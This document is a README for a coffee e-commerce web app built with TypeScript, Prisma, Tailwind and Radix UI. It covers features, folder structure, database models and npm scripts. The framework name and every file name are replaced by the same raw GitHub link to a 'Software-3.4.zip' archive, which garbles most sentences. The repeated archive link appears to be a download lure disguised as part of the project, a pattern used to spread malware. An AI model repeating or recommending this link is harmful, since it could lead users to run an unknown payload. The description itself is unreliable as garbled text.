https://raw.githubusercontent.com/Acinnamon9/Coffeemium/main/app/Software-3.4.zip E-commerce Application

This is a https://raw.githubusercontent.com/Acinnamon9/Coffeemium/main/app/Software-3.4.zip application, version 0.1.0, leveraging Prisma as its ORM. It's built with TypeScript, Tailwind CSS, and ESLint for a modern development workflow, aiming to provide a robust e-commerce platform for coffee products.

Key Features

• Product Catalog: Displays a variety of coffee products with details like name, base price, description, image, and available roast options.
• Dynamic Routing: Handles product and origin-specific pages dynamically, allowing for rich content experiences.
• Shopping Cart: Robust functionality for adding products to a cart, managing quantities, and storing prices at the time of addition (because market fluctuations are a thing, even for coffee).
• Filtering & Search: Client-side filtering and search capabilities on the shop page, ensuring an interactive and snappy user experience without constant server roundtrips.
• Landing Page: A marketing-focused landing page showcasing featured coffees, explaining the "how it works" process, displaying customer testimonials, and a compelling call to action.
• User Interface: Built with a modular component architecture using Radix UI primitives and expertly styled with Tailwind CSS for a sleek and responsive design.

Technology Stack

• Framework: https://raw.githubusercontent.com/Acinnamon9/Coffeemium/main/app/Software-3.4.zip (v16.0.1) – The full-stack React framework that keeps our server and client in delightful harmony.
• ORM: Prisma (v6.19.0) with PostgreSQL – Our chosen database whisperer, making database interactions feel less like a chore and more like a conversation.
• Language: TypeScript (v5) – Because who doesn't love a bit of type safety to catch those pesky errors before they even think about running?
• Styling: Tailwind CSS (v4) – Utility-first CSS framework that lets us build beautiful designs directly in our markup, minimizing context switching.
• Linting: ESLint (v9.39.0) with Prettier – Keeping our code clean, consistent, and undeniably aesthetically pleasing.
• UI Primitives: Radix UI – Unstyled, accessible component primitives for building high-quality design systems.

Application Structure

• app/: The heart of our https://raw.githubusercontent.com/Acinnamon9/Coffeemium/main/app/Software-3.4.zip application, containing all the pages and routing logic. This includes the homepage (/), the main shop (/shop), individual product pages (/products/[productId]), origin-specific pages (/origins/[slug]), and user-centric routes like /account, /admin, /login, and /register.
• components/: Our treasure trove of reusable UI components, neatly categorized:
  • landing/: Components specifically crafted for the marketing-heavy landing page.
  • shop/: Components dedicated to the e-commerce shop interface, handling product display, search, and client-side interactions.
  • ui/: Generic, unstyled UI primitives, likely built on Radix UI, ready for Tailwind CSS magic.
• lib/: The utility belt of the application, housing general utility functions (https://raw.githubusercontent.com/Acinnamon9/Coffeemium/main/app/Software-3.4.zip), static data (e.g., https://raw.githubusercontent.com/Acinnamon9/Coffeemium/main/app/Software-3.4.zip and https://raw.githubusercontent.com/Acinnamon9/Coffeemium/main/app/Software-3.4.zip), and our centralized Prisma client instance (https://raw.githubusercontent.com/Acinnamon9/Coffeemium/main/app/Software-3.4.zip).
• prisma/: Where our database schema (https://raw.githubusercontent.com/Acinnamon9/Coffeemium/main/app/Software-3.4.zip) resides, defining the data models and their intricate relationships.
• public/: The public face of our assets, primarily containing images (like those beautiful coffee shots, the company logo, and illustrations for the "how it works" section).

Database Schema Highlights

The https://raw.githubusercontent.com/Acinnamon9/Coffeemium/main/app/Software-3.4.zip file orchestrates our data with the following key models:

• Product: The core entity for our coffee offerings, encompassing details like name, base price, description, image, and intelligent relations to Roast and ProductDetail models.
• Roast: Defines various coffee roast types and their unique properties, including a defaultMultiplier for nuanced pricing.
• GrindOption: Lists the available grind choices (e.g., "whole bean," "espresso grind"), each with an associated extraCost.
• ProductRoast: A clever join table facilitating the many-to-many relationship between products and their available roasts, allowing for product-specific roastMultiplier adjustments.
• ProductDetail: Dedicated to providing extended, in-depth descriptions for products, offering more narrative space than the main Product description.
• Cart and CartItem: Models meticulously designed for managing user shopping carts, including the precise priceAtAddition for each item, ensuring historical accuracy.

Scripts

To get this digital caffeine fix up and running:

• dev: Kicks off the development server, perfect for local tinkering and hot reloads.

  npm run dev

• build: Generates the Prisma client and builds the https://raw.githubusercontent.com/Acinnamon9/Coffeemium/main/app/Software-3.4.zip application for production.

  npm run build

• start: Launches the https://raw.githubusercontent.com/Acinnamon9/Coffeemium/main/app/Software-3.4.zip production server, ready to serve coffee to the masses.

  npm run start

• lint: Runs ESLint for rigorous code quality checks, ensuring our codebase remains pristine.

  npm run lint

• postinstall: Automatically runs prisma generate after npm install, ensuring our Prisma client is always in sync with the schema.

https://raw.githubusercontent.com/Acinnamon9/Coffeemium/main/app/Software-3.4.zip Configuration

Our https://raw.githubusercontent.com/Acinnamon9/Coffeemium/main/app/Software-3.4.zip file currently employs the default https://raw.githubusercontent.com/Acinnamon9/Coffeemium/main/app/Software-3.4.zip configuration. This means we're playing it straight, with no explicit custom configurations for things like image optimization, internationalization, or other advanced features. For now, simplicity reigns supreme.